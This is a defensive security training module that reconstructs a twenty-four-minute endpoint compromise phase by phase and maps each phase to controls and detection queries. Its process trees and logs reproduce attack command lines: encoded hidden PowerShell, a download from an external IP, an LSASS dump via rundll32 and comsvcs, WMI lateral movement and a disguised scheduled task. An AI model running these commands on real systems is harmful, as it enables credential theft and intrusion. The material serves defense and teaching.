In this section

Modern Attack Chains on Endpoints

Module 0

Introduction

An attack on an endpoint is a sequence, and every phase in it depends on something the phase before produced. That dependency is what you engineer against, because removing one link ends the chain rather than degrading it.

This section walks one chain end to end. It is not a composite and it is not an illustration: it is the endpoint compromise recorded in the Northgate corpus you will query throughout this course, phase by phase, with the times as they appear in the data. Every claim here is one you can go and check.

By the end you will be able to name the eight phases, say which control interrupts each one, and explain why the answer is almost never the control you would have guessed from the phase name.

Scenario

Northgate's SOC opens a Defender XDR incident on NE-THOMPSON-LT. Three alerts sit inside it, and the analyst reads the first one: an Office application spawned PowerShell. It is a good alert, it is high confidence, and it is accurate. What is not in the incident is the credential dump that followed it, the remote process on a second laptop, or the archive of engineering drawings sitting encrypted in a temp folder. The analyst has three alerts and eight phases, and nothing in the console says which five are missing.

01

Twenty-Four Minutes, Eight Phases

The whole chain, on one laptop, with the clock running

The chain that runs through the Northgate corpus starts at 10:30:14 on 10 March and finishes at 10:54:12 the same morning. Twenty-four minutes, one user, one laptop. Nobody escalated to a second-line team in that window, because nobody had finished reading the first alert.

Start with the shape rather than the techniques, because the techniques change every eighteen months and the shape has not changed in a decade. A document opens. It starts a scripting engine. The script fetches a second stage. The second stage looks around. It takes credentials. It uses them somewhere else. It arranges to survive a reboot. It packages what it came for. Eight steps, and each one is only available because the step before it succeeded.

INC-NE-2026-0310-003

Objective reached

Host

NE-THOMPSON-LT

Account

d.thompson@ne.com

Span

10:30:14 to 10:54:12

Phases

Eight

What the incident record shows

  • A standard user account with no local administrator rights
  • Three alerts raised, all of them on this host and none on the second one
  • A second laptop reached under the engineering account at 10:42
  • An encrypted archive of engineering documents left staged in the user temp directory

Nothing in the chain required administrator rights until the credential dump, and by then the operator had a process running under the user who had them.

That last clause is the whole engineering argument of this course, and it is worth being precise about it. The chain is not a checklist the attacker works through, where blocking step six leaves them free to attempt step seven. Step seven needed what step six produced. The remote process on the second laptop at 10:42 was possible because of the credential material taken at 10:36, and that was reachable because a scripting engine was running at 10:30 under a user account that could read it. Break any link and everything downstream of it becomes a different, harder problem rather than the next item on a list.

Twenty-four minutes is not a remarkable figure and that is the point of quoting it. It is roughly what an operator with a working toolkit needs on a machine that is not fighting back, and it sits well inside the window in which most organizations are still deciding whether an alert deserves a second pair of eyes. Northgate's own service targets acknowledgement of a high-severity alert within thirty minutes, which is a reasonable target and is longer than this entire intrusion. That comparison is not an argument against having analysts. It is the argument for deciding, deliberately and in advance, which phases you expect a person to catch and which ones have to be handled by something that was configured before the attack started.

NE-THOMPSON-LT, 10 MARCH 2026 10:30:14 to 10:54:12 WORD RECON LSASS DUMP PERSISTENCE 30:14 33:18 36:51 48:33 POWERSHELL AV DETECTS LATERAL STAGING 30:47 35:00 42:09 54:12 THREE ALERTS FIRED: 10:31:00, 10:36:55, 10:48:35 None named the credential dump, the lateral movement or the staged archive.

Figure ES0.2a. The endpoint compromise chain as it appears in the corpus, drawn against the clock rather than as a list of phases. The gaps between markers are the response windows, and the widest of them sits after the attacker already has credentials.

Read the spacing rather than the labels. The first two markers are thirty-three seconds apart and the rest of the chain unrolls over the next twenty-three minutes, which tells you where a response has time to matter and where it does not. Anything that depends on a human reading an alert is competing with the second half of that line, and anything that has to happen in the first thirty-three seconds has to be a configuration rather than a decision. Most estates own plenty of the second kind and very little of the first.

02

The Thirty-Three Seconds That Decided It

One parent-child relationship, and the rule that ends the chain there

At 10:30:14 the user opened an attachment from their Downloads folder, a macro-enabled document with a plausible name about a quarterly review. The parent process is explorer.exe, which is what a double-click looks like. Nothing about that event is anomalous and no control should have acted on it, because a user opening a document they were sent is the estate working as designed.

Thirty-three seconds later WINWORD.EXE started powershell.exe with a hidden window and a base64-encoded command. That is the event worth building a control around, and the reason is worth stating carefully, because it is the reasoning you will apply to every rule in this course. It is not that PowerShell is dangerous. It is that a word processor has no legitimate reason to start a scripting engine, and the number of times that relationship occurs in a healthy estate is close to zero. The signal is not the child process, it is the pair.

That distinction is worth pressing on, because the instinct it corrects is a common and expensive one. Told that PowerShell is involved in most intrusions, an engineer reaches for a way to stop PowerShell, and discovers that the estate's software deployment, its patching, its inventory and half its help desk scripts run on it. The tool cannot be removed and blocking it breaks the people who keep the lights on, which is exactly the third assumption ES0.1 left you with: the attacker is using your tools and there is nothing incriminating about the tool. What can be constrained is the context. A scripting engine started by a document is a relationship no business process depends on, and that is a rule you can enforce on Monday.

The process tree, as the sensor recorded it

  userinit.exe
    explorer.exe
      WINWORD.EXE            Quarterly_Review_Q1_2026.docm
        powershell.exe       -nop -w hidden -enc SQBuAHYAbwBrAGUA...
          powershell.exe     Invoke-WebRequest -Uri https://185.234.89.112/...
            cmd.exe
              whoami.exe     /priv
              net.exe        group "Domain Admins" /domain

Two of these are Microsoft binaries doing what they are built to do.
The relationship between lines three and four is the entire finding.

Every binary in that tree ships with Windows or Office and every one is signed. There is nothing in it for a scanner to convict, which is the limitation ES0.1 walked through, and it is why the answer at this phase is a rule about relationships rather than a rule about files. The relevant one is the attack surface reduction rule that blocks Office applications from creating child processes, d4f940ab-401b-4efc-aadc-ad5f3c50688a, and in block mode it terminates this chain at 10:30:47 with seven phases that never happen.

That rule was available to Northgate, licensed, and sitting in audit. Module ES4 is where you take it out of audit, and the reason it takes a whole module rather than a paragraph is that the promotion is a change-management problem rather than a technical one. What matters here is the cost comparison: one configuration at phase two, against three alerts, an incident, and a forensic reconstruction at phase eight. Every control later in this chain is a second chance at a decision that was cheapest to make in those thirty-three seconds.

03

A Detection That Changed Nothing

10:35:00, and the difference between seeing and stopping

Four and a half minutes into the chain, antivirus found the second-stage script. It named it correctly, classified it as a downloader trojan, and recorded the detection. The chain then continued for nineteen minutes and reached every objective the operator came for.

This is the most important record in the corpus for this course, and it is the one nobody looks at, because a detection event in a console reads as a success. Two fields on it say otherwise.

DeviceEvents            2026-03-10T10:35:00Z    NE-THOMPSON-LT
ActionType              AntivirusDetection
FileName                u.ps1
FolderPath              C:\Users\thompson\AppData\Local\Temp
ThreatName              Trojan:Script/Downloader.A
WasRemediated           false
WasExecutingWhileDetected   true

WasExecutingWhileDetected is true: the script was already running when the verdict arrived. WasRemediated is false: nothing was done about it. The product did its job and reported honestly, and what it could not do was reach into a process that had already started and undo it. One hundred and eleven seconds later, that same process tree dumped credentials.

There are four ordinary reasons remediation fails and every one is a configuration you own. The file is locked by a running process. The path sits inside an exclusion. The product is in passive mode because another agent holds the active role. Or the protection is set to audit, so a verdict was always going to be a log line. None is a product defect and all four are findings in an estate review.

Each of the four is invisible from the place most people look. A console shows the same tick whether the file was quarantined or merely noticed, because the event being reported is the detection and not the outcome. The finding does not surface until somebody queries the outcome fields directly, and by then it concerns an attack that already ran. ES2 makes device health the thing you check rather than the thing you assume, for this reason.

Two of the four are one command away on any device you can reach.

Get-MpComputerStatus | Select-Object AMRunningMode, RealTimeProtectionEnabled

AMRunningMode              : Normal
RealTimeProtectionEnabled  : True

(Get-MpPreference).ExclusionPath

C:\Users\thompson\AppData\Local\Temp

Read the second answer against the record above it. The path the payload was written to, and detected in, is an exclusion. The engine still recognized the file, because the verdict came from behavior and cloud reputation rather than an on-access scan of that folder, but nothing was going to be quarantined out of a directory the product has been told to leave alone. Somebody added that exclusion for a real reason, years ago, probably to make a slow application faster. That one line is the difference between a detection and a stopped attack, and it appears in no console view of this incident.

So the question this record forces is not whether you have antivirus or whether it detects things. It is what your estate does between a verdict and an outcome, and whether anything in that interval can act without a person. That is the subject of ES5 and ES7, and for most estates never asked it the honest answer is nothing.

04

The Dump at 10:36:51, and the Alert About Something Else

Credential access, and what actually fired

At 10:36:51 the operator ran rundll32.exe against comsvcs.dll, calling its MiniDump export against process 712 and writing a fifty-megabyte lsass.dmp into the user's temp directory. That process holds authentication material for every account signed in to the machine since it last rebooted, which on a shared engineering laptop is rarely just the person sitting at it.

The technique matters less than what it avoids. There is no attacker tool on disk. rundll32.exe is signed by Microsoft, comsvcs.dll is signed by Microsoft, and the MiniDump export exists so Windows components can capture crash dumps. A scanner has nothing to convict. The only thing marking this event is what it was pointed at.

// LOLBin credential access: rundll32 calling the comsvcs MiniDump export
DeviceProcessEvents
| where FileName =~ "rundll32.exe"
| where ProcessCommandLine has "comsvcs"
| where ProcessCommandLine has "MiniDump"
| project Timestamp, DeviceName, AccountName,
    InitiatingProcessFileName, ProcessCommandLine

Run it. It returns the event above, and in a production tenant a result here is a penetration test or an active compromise with little in between. Notice what it keys on: not a file name and not a hash, but a signed binary combined with two strings on its command line. That is what detection against living-off-the-land looks like, and it is why command-line capture is a prerequisite rather than a nicety.

Now the uncomfortable part. An alert did fire four seconds later, at 10:36:55, about beacon activity from rundll32.exe. It is a true alert, and it concerns the network behavior of the process rather than what that process just did to LSASS. Nothing in the incident says credential access. An analyst working it investigates a command-and-control connection, while the credential theft that makes the rest of the chain possible sits four seconds earlier in a table nobody has opened.

This is a property of alerting rather than a fault in the product. An alert names what a detection recognized, which is not the same as what happened, and that gap is where triage goes wrong. It also explains why severity sorts a chain badly: the beacon alert is High and describes the least consequential thing in this five-minute window, while the event deciding whether the intrusion stays on one laptop raised nothing. Reading an incident's alerts tells you what the platform recognized; reading the process tree around their timestamps tells you what the operator did.

Three controls, three different layers, and the useful observation is that they do not overlap. The ASR rule blocks the action, refusing the process handle that a non-Microsoft binary needs to read LSASS at all. Credential Guard devalues the prize, holding the secrets in a virtualization-based container so that a dump which succeeds yields nothing usable from it. RunAsPPL hardens the target, marking the process protected so unsigned code cannot read it whatever privileges it holds. An estate with all three has defense in depth at this phase in the sense the phrase is supposed to mean, and an estate with three antivirus products has one layer bought three times.

05

Lateral Movement, at 10:42:09

One command, one logon on a second machine, and no alert

Five minutes and eighteen seconds after taking the credentials, the operator used them. At 10:42:09 wmic.exe created a process on NE-WILLIAMS-LT, a laptop belonging to somebody in Sales, and one second later that machine recorded a successful network logon under the engineering account.

Nothing about that command is unusual in isolation. wmic.exe is a Microsoft binary, remote process creation over WMI is how a great deal of legitimate administration works, and the account used was one that genuinely had the rights it exercised. The only thing marking it is the direction: a workstation creating a process on another workstation is a relationship almost no business process needs, and it is the same reasoning as the Office-to-PowerShell pair three sections back.

What each side of the lateral movement recorded

  NE-THOMPSON-LT   10:42:09   DeviceProcessEvents
                              wmic /node:NE-WILLIAMS-LT process call create

  NE-WILLIAMS-LT   10:42:10   DeviceLogonEvents
                              LogonSuccess   Network   protocol WMI
                              account: thompson   from 10.0.1.78

  alerts raised    none, on either machine

Two machines, two tables, one second apart, and the join between them is the account name and the source address. Neither row is an alert and neither row is suspicious on its own, which is why the technique that spread the intrusion is the one a query finds and an analytic did not.

The interception here is the attack surface reduction rule blocking process creation originating from PsExec and WMI commands, d1e49aac-8f56-4280-b9ba-993a6d77406c, and it has to be enforcing on the target rather than the source. That is the part people configure backwards, and it means your coverage of this technique is a property of which machines are in your deployment rings rather than of your policy.

Sales is worth naming rather than leaving as a detail. It is the population least likely to be in an early deployment ring, because rollouts start with willing volunteers and with IT, and it is the population an operator reaches for precisely because a laptop there is likely to be a generation behind on controls while holding credentials with the same reach. The map of your rings and the map of an intrusion's likely second hop are usually the same map.

There is one more thing this pair of rows settles, and it is about where you look rather than what you deploy. Neither machine raised anything, so an analyst working the incident from the alert queue never sees this step at all. Finding it requires reading the process and logon tables around the timestamps of the alerts that did fire, which is a different activity from triage and is the one that establishes how far an intrusion actually reached.

06

Persistence Comes Seventh

What the ordering tells you about where to put a control

Take the ordering seriously, because textbook kill chains put persistence early and this one puts it seventh. The reason is economic. Persistence is the noisiest thing an operator does on an endpoint: it writes to disk, it touches a well-monitored subsystem, and it is the single behavior most likely to generate an alert. It is worth paying that cost only once you have something worth keeping, and in this chain that moment arrives at 10:36 rather than at 10:31.

10:42:09   wmic  /node:NE-WILLIAMS-LT process call create
                 "cmd.exe /c powershell -enc ..."
10:42:10   NE-WILLIAMS-LT   LogonSuccess   Network   protocol WMI
10:48:33   schtasks  /create /tn "AdobeUpdater" /sc onlogon /rl HIGHEST
10:48:35   ALERT     Scheduled task created for persistence      Medium

The lateral movement produced no alert. The persistence produced one,
and it is rated Medium.

That last pair of lines is the finding. The quietest phase in the chain is the one that reached a second machine, and the loudest is the one that only arranged to come back. If Northgate's SOC had triaged strictly by severity they would have worked a Medium about a scheduled task while a Sales laptop had already been touched with engineering credentials, and they would not have been wrong to do so on the evidence in front of them.

That rule carries real operational cost, because plenty of legitimate management tooling creates processes exactly this way. The cost is not a reason to skip it; it is the reason ES4 spends a module on audit-then-promote rather than a paragraph.

The source-and-target point is worth one more sentence because it changes who has to be in the room. A rule that only fires where it is enforcing means coverage is a property of your deployment rings rather than of your policy document, and the machines least likely to be in the first ring are the ones an operator most wants to reach: the shared laptop, the contractor's device, the machine in a site with its own IT arrangement. Northgate's chain moved from an engineering laptop to a Sales one, and the Sales estate is exactly the population that acquires controls last. Coverage gaps and attack paths tend to be the same map, drawn by different people who have never compared them.

07

Three Chains, One Middle

What is portable across attacks, and the one that never touches the endpoint

The techniques in this chain will date. The shape will not, and you can see that by setting three unrelated attacks beside each other and looking at where they converge.

Commodity ransomware arrives through a macro and ends in encryption. A supply chain compromise arrives inside a signed vendor update and ends in exfiltration. They begin nowhere near each other and an initial-access control that stops one is irrelevant to the other. From credential access onward they are close to identical: dump LSASS, move with the material, persist, act.

THREE CHAINS, AND THE MIDDLE THEY SHARE identical middle: where endpoint controls act ENTRY EXECUTION CRED ACCESS PERSISTENCE LATERAL OBJECTIVE commodity supply chain AiTM / BEC macro doc vendor update token theft Office to PS signed installer none on endpoint lsass lsass cloud token task / run key service OAuth grant PsExec, WMI PsExec, WMI cloud apps encrypt exfiltrate wire fraud Two tracks converge inside the box. The third never enters it, and no endpoint control reaches it.

Figure ES0.2b. The entries and objectives differ and the middle is the same, which is why a control chosen for the middle covers two of these three chains regardless of how they began.

Two of the three columns converge completely across the middle three rows, and that convergence is where the leverage is. A control on LSASS access and a control on remote process creation cover the middle of two entirely different attacks, which is a far better return than two more controls at initial access where the two attacks share nothing.

The third column is the one to sit with. An adversary-in-the-middle attack steals a session token at the identity layer and never executes anything on the endpoint at all. Every control in this course is irrelevant to it until the attacker tries to use that session from a device, at which point device compliance and Conditional Access decide the outcome, which is ES3 and belongs as much to identity as to endpoint. An estate that has spent its entire budget on endpoint controls has no coverage of that chain at any phase, and that is worth knowing about your own estate before somebody demonstrates it.

The practical use of the convergence is in how you spend the next thing you buy or configure. Controls placed at entry are the ones most tied to a specific technique, so they age fastest and need the most maintenance: a rule about macros is worth nothing against a signed installer. Controls placed in the middle of the chain act on behavior that every operator needs regardless of how they arrived, so they survive tooling changes and cover attacks nobody modeled. That is the opposite of how most budgets are allocated, because entry controls are the ones with the clearest story to tell a board, and it is the single most useful thing to take from reading three chains side by side.

The counter-question is what to ask of every control you own, and it is not whether it is deployed.

Keep this Three questions to ask of every control you own
  1. Which phase does it act on? Not "endpoint security". Entry, execution, credential access, lateral movement, persistence or objective. One or two, rarely more.
  2. Does it block, or does it record? A control that records is worth having and is not a layer of prevention. The antivirus in this chain recorded, correctly, and the chain finished.
  3. What does it cost an attacker to avoid? A rename, a rebuild, a different technique, or a different operator. That answer ranks your controls better than the vendor category does.
Answer all three for every product on your endpoints and the result is a table with empty columns. The empty columns are the deliverable.

Answer those three for every product on your endpoints and the result is a table with empty columns. The empty columns are the deliverable, and they are what the rest of this course fills.

08

Practice

Map your own controls onto the phases they actually cover
hands on
Do this Phase coverage, honestly
  1. List every security product on the endpoint, including the ones bought for compliance rather than defense. Six to ten is typical.
  2. Assign each to phases, not categories, using the six from question 1 above. Most take one or two, and writing "all" means the question has not been answered.
  3. Mark each as blocks or records, strictly. A product configured to audit records, whatever it is capable of.
  4. Count the blocking controls per phase. The phases with zero are your real gaps, and they are usually credential access and lateral movement.
  5. Check the third column. Name any control you own that acts on a chain which never touches the endpoint. If there is none, that is a finding for a different course and worth knowing now.
The output is a table with empty cells, and the empty cells are the point. A defense-in-depth claim only means something once you can name which phase each layer is deep in.

Keep that table. ES0.3 takes the same six phases and lays the Microsoft endpoint stack across them, so you can see which of the gaps you just found are licensing decisions and which are configuration ones.